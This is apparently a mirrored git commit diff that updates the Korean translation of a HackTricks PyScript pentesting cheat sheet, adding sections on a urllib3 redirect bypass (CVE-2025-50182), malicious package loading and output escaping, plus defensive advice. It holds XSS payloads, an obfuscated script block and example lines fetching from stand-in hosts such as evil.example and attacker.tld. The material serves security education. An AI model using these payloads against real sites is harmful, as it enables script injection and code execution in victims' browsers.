mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/generic-methodologies-and-resources/python/pyscript.md'
This commit is contained in:
		
							parent
							
								
									1ba577c4e3
								
							
						
					
					
						commit
						a03278c0f0
					
				| @ -4,7 +4,7 @@ | |||||||
| 
 | 
 | ||||||
| ## PyScript 펜테스팅 가이드 | ## PyScript 펜테스팅 가이드 | ||||||
| 
 | 
 | ||||||
| PyScript는 Python을 HTML에 통합하기 위해 개발된 새로운 프레임워크로, HTML과 함께 사용할 수 있습니다. 이 치트 시트에서는 펜테스팅 목적으로 PyScript를 사용하는 방법을 찾을 수 있습니다. | PyScript는 HTML에 Python을 통합하기 위해 개발된 새로운 프레임워크로, HTML과 함께 사용할 수 있습니다. 이 치트 시트에서는 펜테스팅 목적으로 PyScript를 사용하는 방법을 찾을 수 있습니다. | ||||||
| 
 | 
 | ||||||
| ### Emscripten 가상 메모리 파일 시스템에서 파일 덤프 / 검색하기: | ### Emscripten 가상 메모리 파일 시스템에서 파일 덤프 / 검색하기: | ||||||
| 
 | 
 | ||||||
| @ -49,7 +49,7 @@ body: JSON.stringify({ content: btoa(console.logs) }), | |||||||
| 
 | 
 | ||||||
| ### 크로스 사이트 스크립팅 (일반) | ### 크로스 사이트 스크립팅 (일반) | ||||||
| 
 | 
 | ||||||
| 코드: | Code: | ||||||
| ```python | ```python | ||||||
| <py-script> | <py-script> | ||||||
| print("<img src=x onerror='alert(document.domain)'>") | print("<img src=x onerror='alert(document.domain)'>") | ||||||
| @ -78,7 +78,7 @@ print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p) | |||||||
| Code: | Code: | ||||||
| ```html | ```html | ||||||
| <py-script> | <py-script> | ||||||
| prinht(" | prinht("" | ||||||
| <script> | <script> | ||||||
| var _0x3675bf = _0x5cf5 | var _0x3675bf = _0x5cf5 | ||||||
| function _0x5cf5(_0xced4e9, _0x1ae724) { | function _0x5cf5(_0xced4e9, _0x1ae724) { | ||||||
| @ -140,7 +140,7 @@ return _0x34a15f | |||||||
| return _0x599c() | return _0x599c() | ||||||
| } | } | ||||||
| </script> | </script> | ||||||
| ") | "") | ||||||
| </py-script> | </py-script> | ||||||
| ``` | ``` | ||||||
|  |  | ||||||
| @ -156,4 +156,62 @@ print("            & | |||||||
| ``` | ``` | ||||||
|  |  | ||||||
| 
 | 
 | ||||||
|  | --- | ||||||
|  | 
 | ||||||
|  | ## 새로운 취약점 및 기술 (2023-2025) | ||||||
|  | 
 | ||||||
|  | ### 제어되지 않는 리디렉션을 통한 서버 측 요청 위조 (CVE-2025-50182) | ||||||
|  | 
 | ||||||
|  | `urllib3 < 2.5.0`은 PyScript와 함께 제공되는 **Pyodide 런타임** 내에서 실행될 때 `redirect` 및 `retries` 매개변수를 무시합니다. 공격자가 대상 URL에 영향을 미칠 수 있는 경우, 개발자가 명시적으로 비활성화했음에도 불구하고 Python 코드가 교차 도메인 리디렉션을 따르도록 강제할 수 있습니다 ‑ 사실상 anti-SSRF 로직을 우회하는 것입니다. | ||||||
|  | ```html | ||||||
|  | <script type="py"> | ||||||
|  | import urllib3 | ||||||
|  | http = urllib3.PoolManager(retries=False, redirect=False)  # supposed to block redirects | ||||||
|  | r = http.request("GET", "https://evil.example/302")      # will STILL follow the 302 | ||||||
|  | print(r.status, r.url) | ||||||
|  | </script> | ||||||
|  | ``` | ||||||
|  | `urllib3 2.5.0`에서 패치됨 – PyScript 이미지에서 패키지를 업그레이드하거나 `packages = ["urllib3>=2.5.0"]`에서 안전한 버전을 고정하세요. 자세한 내용은 공식 CVE 항목을 참조하세요. | ||||||
|  | 
 | ||||||
|  | ### 임의 패키지 로딩 및 공급망 공격 | ||||||
|  | 
 | ||||||
|  | PyScript는 `packages` 목록에 임의의 URL을 허용하므로, 구성을 수정하거나 주입할 수 있는 악의적인 행위자는 피해자의 브라우저에서 **완전히 임의의 Python**을 실행할 수 있습니다: | ||||||
|  | ```html | ||||||
|  | <py-config> | ||||||
|  | packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"] | ||||||
|  | </py-config> | ||||||
|  | <script type="py"> | ||||||
|  | import payload  # executes attacker-controlled code during installation | ||||||
|  | </script> | ||||||
|  | ``` | ||||||
|  | *오직 순수-Python 휠만 필요하며, WebAssembly 컴파일 단계는 필요하지 않습니다.* 구성은 사용자 제어가 아니어야 하며, HTTPS 및 SRI 해시와 함께 신뢰할 수 있는 휠을 자신의 도메인에 호스팅해야 합니다. | ||||||
|  | 
 | ||||||
|  | ### 출력 정화 변경 사항 (2023+) | ||||||
|  | 
 | ||||||
|  | * `print()`는 여전히 원시 HTML을 주입하므로 XSS에 취약합니다 (위의 예시 참조). | ||||||
|  | * 새로운 `display()` 도우미는 **기본적으로 HTML을 이스케이프**합니다 – 원시 마크업은 `pyscript.HTML()`로 감싸야 합니다. | ||||||
|  | ```python | ||||||
|  | from pyscript import display, HTML | ||||||
|  | 
 | ||||||
|  | display("<b>escaped</b>")          # renders literally | ||||||
|  | 
 | ||||||
|  | display(HTML("<b>not-escaped</b>")) # executes as HTML -> potential XSS if untrusted | ||||||
|  | ``` | ||||||
|  | 이 동작은 2023년에 도입되었으며 공식 Built-ins 가이드에 문서화되어 있습니다. 신뢰할 수 없는 입력에 대해서는 `display()`를 사용하고 `print()`를 직접 호출하는 것을 피하십시오. | ||||||
|  | 
 | ||||||
|  | --- | ||||||
|  | 
 | ||||||
|  | ## 방어적 모범 사례 | ||||||
|  | 
 | ||||||
|  | * **패키지를 최신 상태로 유지** – `urllib3 >= 2.5.0`으로 업그레이드하고 사이트와 함께 제공되는 휠을 정기적으로 재구축하십시오. | ||||||
|  | * **패키지 출처 제한** – PyPI 이름이나 동일 출처 URL만 참조하고, 이상적으로는 Sub-resource Integrity (SRI)로 보호하십시오. | ||||||
|  | * **콘텐츠 보안 정책 강화** – 인라인 JavaScript(`script-src 'self' 'sha256-…'`)를 허용하지 않아 주입된 `<script>` 블록이 실행되지 않도록 합니다. | ||||||
|  | * **사용자 제공 `<py-script>` / `<script type="py">` 태그 금지** – 다른 사용자에게 다시 에코하기 전에 서버에서 HTML을 정화하십시오. | ||||||
|  | * **작업자 격리** – 작업자에서 DOM에 대한 동기식 접근이 필요하지 않은 경우, `sync_main_only` 플래그를 활성화하여 `SharedArrayBuffer` 헤더 요구 사항을 피하십시오. | ||||||
|  | 
 | ||||||
|  | ## 참조 | ||||||
|  | 
 | ||||||
|  | * [NVD – CVE-2025-50182](https://nvd.nist.gov/vuln/detail/CVE-2025-50182) | ||||||
|  | * [PyScript Built-ins documentation – `display` & `HTML`](https://docs.pyscript.net/2024.6.1/user-guide/builtins/) | ||||||
|  | 
 | ||||||
| {{#include ../../banners/hacktricks-training.md}} | {{#include ../../banners/hacktricks-training.md}} | ||||||
|  | |||||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user